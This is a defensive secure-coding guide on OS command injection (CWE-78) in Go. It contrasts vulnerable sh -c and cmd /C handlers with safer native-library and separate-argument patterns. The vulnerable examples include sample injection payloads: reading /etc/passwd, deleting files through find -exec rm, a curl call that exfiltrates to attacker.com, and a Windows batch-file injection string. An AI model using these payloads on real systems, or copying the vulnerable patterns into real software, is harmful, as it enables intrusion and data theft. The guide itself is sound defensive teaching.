CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - Go
Overview
OS Command Injection in Go applications occurs when untrusted data is incorporated into system commands executed via the os/exec package without proper validation. Unlike languages with implicit shell invocation, Go's exec.Command() does not invoke a shell by default when provided with a command and separate arguments. Developers can still create vulnerabilities by explicitly invoking shells (sh, bash, cmd.exe) or concatenating user input into the string those shells receive.
exec.Command("cmd", "arg1", "arg2") passes arguments directly to the executable without shell interpretation, preventing most injection attacks. Using exec.Command("sh", "-c", userInput) or similar patterns bypasses this protection and enables injection.
The Go ecosystem strongly encourages using native Go libraries (net/http, os, io/fs, archive/zip) instead of shelling out to system commands. Since Go is compiled and cross-platform, most operations that require shell commands in scripting languages can be accomplished with pure Go code.
Primary Defence: Use Go's native libraries (os, io/fs, net/http) instead of executing commands. If command execution is unavoidable, use exec.Command() with separate arguments (never invoke a shell), and validate inputs with allowlists.
Common Vulnerable Patterns
Invoking Shell with User Input
// VULNERABLE - Using shell to execute commands
package main
import (
"net/http"
"os/exec"
)
func pingHandler(w http.ResponseWriter, r *http.Request) {
host := r.URL.Query().Get("host")
// DANGEROUS: Invoking shell allows command injection
cmd := exec.Command("sh", "-c", "ping -c 4 "+host)
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, err.Error(), 500)
return
}
w.Write(output)
}
// Attack example:
// GET /ping?host=8.8.8.8; cat /etc/passwd
// Executes: sh -c "ping -c 4 8.8.8.8; cat /etc/passwd"
// Result: Runs both ping and cat commands
Why this is vulnerable: Using sh -c or bash -c processes the entire string through a shell, enabling injection via shell metacharacters (;, |, &&, ||, $(), backticks). Even quoted arguments can be escaped. The shell interprets user input as executable code: everything after the ; in the attack above runs as a second command.
String Concatenation in Command Arguments
// VULNERABLE - Concatenating user input into arguments
func searchFiles(w http.ResponseWriter, r *http.Request) {
pattern := r.URL.Query().Get("pattern")
// DANGEROUS: String concatenation can enable shell interpretation
cmd := exec.Command("sh", "-c", "find /var/data -name "+pattern)
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, err.Error(), 500)
return
}
w.Write(output)
}
// Attack example:
// GET /search?pattern=*.txt -exec rm {} \;
// Executes: find /var/data -name *.txt -exec rm {} \;
// Result: Deletes all .txt files
Why this is vulnerable: While exec.Command() with discrete arguments is safe, using sh -c with concatenated strings defeats that protection. The shell interprets wildcards, redirects (>, <), pipes (|), and command substitution ($()), so the pattern argument controls the structure of the command, not just what it searches for.
Windows cmd.exe with User Input
// VULNERABLE - Windows command prompt injection
func listDirectory(w http.ResponseWriter, r *http.Request) {
dir := r.URL.Query().Get("dir")
// DANGEROUS: cmd.exe allows command chaining
cmd := exec.Command("cmd", "/C", "dir "+dir)
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, err.Error(), 500)
return
}
w.Write(output)
}
// Attack example:
// GET /list?dir=C:\ & whoami
// Executes: cmd /C "dir C:\ & whoami"
// Result: Lists directory and reveals current user
Why this is vulnerable: Windows cmd.exe uses &, &&, ||, and | for command chaining and pipes. The /C flag executes the string and terminates, but concatenated user input becomes part of the command sequence. Attackers can chain commands, redirect output to files, or start another interpreter such as PowerShell.
fmt.Sprintf() with Command Construction
// VULNERABLE - Building commands with fmt.Sprintf
func compressFile(w http.ResponseWriter, r *http.Request) {
filename := r.URL.Query().Get("file")
// DANGEROUS: fmt.Sprintf creates injectable command string
cmdStr := fmt.Sprintf("tar czf /tmp/backup.tar.gz %s", filename)
cmd := exec.Command("sh", "-c", cmdStr)
err := cmd.Run()
if err != nil {
http.Error(w, err.Error(), 500)
return
}
w.WriteHeader(http.StatusOK)
}
// Attack example:
// GET /compress?file=/var/log/app.log; curl attacker.com/exfil?data=$(cat /etc/passwd | base64)
// Result: Sends password file to attacker's server
Why this is vulnerable: fmt.Sprintf() performs simple string formatting without escaping shell metacharacters. Combined with sh -c, it allows injection of command separators, subshells, and output redirection. Even if the format string looks safe, user input can break out of quotes and inject new commands.
Secure Patterns
Use Go Native Libraries Instead of Commands (Recommended)
// SECURE - Use Go's net package instead of ping command
package main
import (
"archive/tar"
"compress/gzip"
"encoding/json"
"io"
"net"
"net/http"
"os"
"path/filepath"
"strings"
"time"
)
type PingResult struct {
Host string `json:"host"`
Reachable bool `json:"reachable"`
Latency string `json:"latency,omitempty"`
Error string `json:"error,omitempty"`
}
func pingHandler(w http.ResponseWriter, r *http.Request) {
host := r.URL.Query().Get("host")
// Validate hostname/IP
if host == "" {
http.Error(w, "Host required", http.StatusBadRequest)
return
}
// SECURE - Use Go's net package instead of ping command
start := time.Now()
conn, err := net.DialTimeout("tcp", host+":80", 5*time.Second)
latency := time.Since(start)
result := PingResult{Host: host}
if err != nil {
result.Reachable = false
result.Error = err.Error()
} else {
result.Reachable = true
result.Latency = latency.String()
conn.Close()
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(result)
}
// SECURE - File operations with io/fs instead of shell commands
func listFiles(w http.ResponseWriter, r *http.Request) {
dirPath := r.URL.Query().Get("dir")
// Validate path is within allowed directory
allowedBase := "/var/data"
cleanRel := filepath.Clean(string(os.PathSeparator) + dirPath)
fullPath := filepath.Join(allowedBase, cleanRel)
if fullPath != allowedBase && !strings.HasPrefix(fullPath, allowedBase+string(os.PathSeparator)) {
http.Error(w, "Invalid directory", http.StatusBadRequest)
return
}
// SECURE - Use os.ReadDir instead of ls/dir command
entries, err := os.ReadDir(fullPath)
if err != nil {
http.Error(w, "Cannot read directory", http.StatusInternalServerError)
return
}
var files []string
for _, entry := range entries {
files = append(files, entry.Name())
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(files)
}
// SECURE - Archive operations with archive/tar instead of tar command
func createTarball(w http.ResponseWriter, r *http.Request) {
sourceDir := r.URL.Query().Get("dir")
allowedBase := "/var/data"
cleanRel := filepath.Clean(string(os.PathSeparator) + sourceDir)
safeSourceDir := filepath.Join(allowedBase, cleanRel)
if safeSourceDir != allowedBase && !strings.HasPrefix(safeSourceDir, allowedBase+string(os.PathSeparator)) {
http.Error(w, "Invalid directory", http.StatusBadRequest)
return
}
// SECURE - Use archive/tar package
tarFile, err := os.Create("/tmp/backup.tar.gz")
if err != nil {
http.Error(w, "Cannot create archive", http.StatusInternalServerError)
return
}
defer tarFile.Close()
gzWriter := gzip.NewWriter(tarFile)
defer gzWriter.Close()
tarWriter := tar.NewWriter(gzWriter)
defer tarWriter.Close()
filepath.Walk(safeSourceDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
header, err := tar.FileInfoHeader(info, "")
if err != nil {
return err
}
if err := tarWriter.WriteHeader(header); err != nil {
return err
}
if !info.IsDir() {
file, err := os.Open(path)
if err != nil {
return err
}
defer file.Close()
_, err = io.Copy(tarWriter, file)
return err
}
return nil
})
w.WriteHeader(http.StatusOK)
}
Why this works: Using Go's native packages (net, os, io/fs, archive/tar) removes command execution from the handler entirely. These libraries operate directly through system calls and APIs rather than spawning shell processes, making metacharacter injection impossible. This is the preferred solution - avoid os/exec entirely when Go provides equivalent functionality.
exec.Command with Separate Arguments (No Shell)
// SECURE - Use exec.Command with discrete arguments, no shell
package main
import (
"context"
"net/http"
"os/exec"
"regexp"
"strconv"
"strings"
"time"
)
// Allowlist validation for IP addresses
var ipv4Regex = regexp.MustCompile(`^(\d{1,3}\.){3}\d{1,3}$`)
func securePingHandler(w http.ResponseWriter, r *http.Request) {
host := r.URL.Query().Get("host")
// Validate input against allowlist pattern
if !ipv4Regex.MatchString(host) {
http.Error(w, "Invalid IP address format", http.StatusBadRequest)
return
}
// Additional validation: check octets are 0-255
parts := strings.Split(host, ".")
for _, part := range parts {
num, err := strconv.Atoi(part)
if err != nil || num < 0 || num > 255 {
http.Error(w, "Invalid IP address", http.StatusBadRequest)
return
}
}
// SECURE - exec.Command with separate arguments - NO SHELL
// Arguments are passed directly to ping, not interpreted by shell
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, "ping", "-c", "4", host)
output, err := cmd.CombinedOutput()
if err != nil {
// Don't expose raw error to user
http.Error(w, "Ping failed", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "text/plain")
w.Write(output)
}
Why this works: exec.Command("ping", "-c", "4", host) passes each argument directly to the ping executable without shell interpretation. Go's os/exec constructs an argument vector (argv) where host is a discrete string parameter, not parsed for shell metacharacters. Even if host contains ;, |, or $(), they're treated as literal characters in the argument. The timeout context prevents resource exhaustion, and input validation provides defense-in-depth by rejecting malformed IPs before execution.
Input Validation with Allowlist
// SECURE - Allowlist validation for command arguments
package main
import (
"context"
"net/http"
"os/exec"
"time"
)
// Allowlist of safe file patterns
var allowedPatterns = map[string]bool{
"*.log": true,
"*.txt": true,
"*.json": true,
}
// Allowlist of safe directories
var allowedDirs = map[string]bool{
"/var/log/app": true,
"/var/data/app": true,
}
func findFilesHandler(w http.ResponseWriter, r *http.Request) {
pattern := r.URL.Query().Get("pattern")
directory := r.URL.Query().Get("dir")
// SECURE - Validate against allowlists
if !allowedPatterns[pattern] {
http.Error(w, "Pattern not allowed", http.StatusBadRequest)
return
}
if !allowedDirs[directory] {
http.Error(w, "Directory not allowed", http.StatusBadRequest)
return
}
// SECURE - Validated inputs + separate arguments + no shell
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, "find", directory, "-name", pattern, "-type", "f")
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, "Search failed", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "text/plain")
w.Write(output)
}
Why this works: Allowlist validation rejects any input not explicitly permitted, preventing injection of command options (like -exec), shell metacharacters, or path traversal sequences. Only the pre-approved map values reach exec.Command(). Separate arguments mean no shell parses them, and the timeout context stops a slow find from holding the handler open.
Filename Validation with Allowlist
// SECURE - Simple filename validation for command arguments
package main
import (
"context"
"net/http"
"os/exec"
"path/filepath"
"regexp"
"strings"
"time"
)
// Allowlist for safe filenames (no path components). The first character
// cannot be '-', or the name is read as an option by any command it reaches.
var safeFilenameRegex = regexp.MustCompile(`^[a-zA-Z0-9_\.][a-zA-Z0-9_\-\.]*$`)
func processFileHandler(w http.ResponseWriter, r *http.Request) {
filename := r.URL.Query().Get("file")
// SECURE - Allowlist validation - only simple filenames
if !safeFilenameRegex.MatchString(filename) {
http.Error(w, "Invalid filename", http.StatusBadRequest)
return
}
// Reject filenames with path separators
if strings.Contains(filename, "/") || strings.Contains(filename, "\\") {
http.Error(w, "Path separators not allowed", http.StatusBadRequest)
return
}
// Build full path within allowed directory
allowedDir := "/var/app/uploads"
fullPath := filepath.Join(allowedDir, filename)
// SECURE - Use validated path with separate arguments
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, "file", "--brief", fullPath)
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, "Command failed", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "text/plain")
w.Write(output)
}
Why this works: The regex accepts only alphanumerics, dash, underscore and dot, so no shell metacharacter survives validation, and the first-character class keeps out names beginning with -, which a command would read as an option. Explicitly rejecting path separators prevents directory traversal. For comprehensive path traversal prevention (canonicalization, symlink resolution, boundary checks), see CWE-22 - Go.
Framework-Specific Guidance
Gin Web Framework
// SECURE - Gin framework with command injection protection
package main
import (
"context"
"net/http"
"os"
"os/exec"
"regexp"
"runtime"
"time"
"github.com/gin-gonic/gin"
)
// The first character cannot be '-'. exec.Command passes the slice through
// untouched, so "-debug" would reach ping as an option, not a host (CWE-88).
var hostnameRegex = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9\-\.]*$`)
func main() {
r := gin.Default()
// Middleware for request timeout
r.Use(func(c *gin.Context) {
ctx, cancel := context.WithTimeout(c.Request.Context(), 30*time.Second)
defer cancel()
c.Request = c.Request.WithContext(ctx)
c.Next()
})
r.GET("/ping", pingEndpoint)
r.GET("/sysinfo", sysinfoEndpoint)
r.Run(":8080")
}
func pingEndpoint(c *gin.Context) {
host := c.Query("host")
// Validate hostname format
if !hostnameRegex.MatchString(host) {
c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid hostname"})
return
}
// SECURE - exec.Command with separate arguments
ctx, cancel := context.WithTimeout(c.Request.Context(), 10*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, "ping", "-c", "3", "-W", "2", host)
output, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Ping failed"})
return
}
c.JSON(http.StatusOK, gin.H{
"host": host,
"output": string(output),
})
}
// SECURE - Better approach - use Go native libraries
func sysinfoEndpoint(c *gin.Context) {
// Use os package instead of system commands
hostname, err := os.Hostname()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to get hostname"})
return
}
c.JSON(http.StatusOK, gin.H{
"hostname": hostname,
"os": runtime.GOOS,
"arch": runtime.GOARCH,
})
}
Why this works: Gin's context integration allows request timeouts to cascade to child exec.CommandContext() calls, preventing hung processes. Input validation with regex allowlisting ensures only safe hostnames reach the command. JSON responses prevent any command output from being interpreted as HTML. The sysinfo endpoint shows the better pattern: native Go libraries (os.Hostname(), runtime.GOOS) rather than system commands.
Echo Framework
// SECURE - Echo framework with validation middleware
package main
import (
"context"
"net/http"
"os/exec"
"regexp"
"time"
"github.com/labstack/echo/v4"
"github.com/labstack/echo/v4/middleware"
)
var alphanumericRegex = regexp.MustCompile(`^[a-zA-Z0-9]+$`)
func main() {
e := echo.New()
// Middleware
e.Use(middleware.Logger())
e.Use(middleware.Recover())
e.Use(middleware.TimeoutWithConfig(middleware.TimeoutConfig{
Timeout: 30 * time.Second,
}))
e.GET("/check/:service", checkService)
e.Logger.Fatal(e.Start(":8080"))
}
// Allowlist of services
var allowedServices = map[string]string{
"web": "nginx",
"database": "postgresql",
"cache": "redis",
}
func checkService(c echo.Context) error {
service := c.Param("service")
// SECURE - Allowlist validation
processName, ok := allowedServices[service]
if !ok {
return c.JSON(http.StatusBadRequest, map[string]string{
"error": "Unknown service",
})
}
// SECURE - exec.Command with validated input, no shell
ctx, cancel := context.WithTimeout(c.Request().Context(), 5*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, "pgrep", "-c", processName)
output, err := cmd.CombinedOutput()
if err != nil {
// pgrep returns non-zero if process not found
return c.JSON(http.StatusOK, map[string]interface{}{
"service": service,
"running": false,
})
}
return c.JSON(http.StatusOK, map[string]interface{}{
"service": service,
"running": true,
"count": string(output),
})
}
Why this works: Echo's built-in timeout middleware automatically cancels long-running requests, propagating cancellation to exec.CommandContext(). The allowlist maps user-facing service names to actual process names, so whatever an attacker puts in the URL parameter, only nginx, postgresql or redis reaches pgrep. The separate arguments pattern ensures no shell expansion occurs.
Considerations
Not naming a shell does not finish the finding. exec.Command() with discrete arguments stops the shell from parsing the value. It does not stop the program you launched from parsing it. The find example above allowlists both arguments for exactly this reason: find reads -exec as an option, so a permissive pattern argument is command execution with no shell anywhere in the call. Before closing a CWE-78 finding, ask what the target program does with a value starting with -, and either reject those values or place -- ahead of the user-controlled arguments where the program supports it. What is left is CWE-88.
The program itself is part of the judgement. exec.Command("ping", "-c", "4",
host) and exec.Command("python3", script) have the same shape and very
different exposure: the second hands its argument to an interpreter, so any value
is code. The same applies to shell-script wrappers, which re-enter a shell one
layer below the Go code.
On Windows, a .bat target puts the shell back. Windows has no argv array at the system-call level: CreateProcess takes a single command-line string and the child re-parses it. os/exec builds that string, and for a native executable it round-trips correctly - measured on Go 1.25 / Windows 11, an argument of x"&echo INJECTED& arrives at an .exe intact as one argument.
Point the same call at a batch file and it does not.
exec.Command("show.bat", "x\"&echo INJECTED&") executes echo INJECTED,
because cmd.exe parses the command line for a .bat or .cmd. Go does not
escape for cmd.exe here and does not refuse the call; Node.js (CVE-2024-27980)
and PHP (CVE-2024-1874) shipped runtime fixes for the same defect class. If a
Windows deployment shells out through a batch wrapper, treat that wrapper as a
shell: call the real executable directly, or validate the arguments against
cmd.exe parsing rules rather than against the C runtime's.
One Windows behaviour that Go did harden: since Go 1.19, exec.Command will
not resolve a bare program name from the current directory, so a writable working
directory is no longer a way to substitute the binary. exec.Command("argv.exe")
with the file sitting in the working directory returns
executable file not found in %PATH%. Passing an absolute path is still the
clearer choice.
Common Pitfalls
- Calling
exec.Command("sh", "-c", validatedInput)orexec.Command("bash", "-c", validatedInput)and treating validation as sufficient becauseexec.Command()"doesn't invoke a shell by default" - namingsh -c(orbash -c) explicitly still hands the string to a shell; the no-shell property only holds when the shell interpreter itself isn't the program being run. - Writing an allowlist regex that is broader than the target command actually needs (allowing spaces,
$, or backticks "for usability") - a permissive character class can still let through characters that are meaningful to a shell invoked further downstream, such as inside a wrapper script. - Keeping validated arguments as separate
exec.Commandelements at the call site, but passing one of them throughfmt.Sprintfinto a wrapper script that performs its ownsh -cre-parsing internally - the injection point moves one layer down, into the wrapper script the Go code no longer controls directly.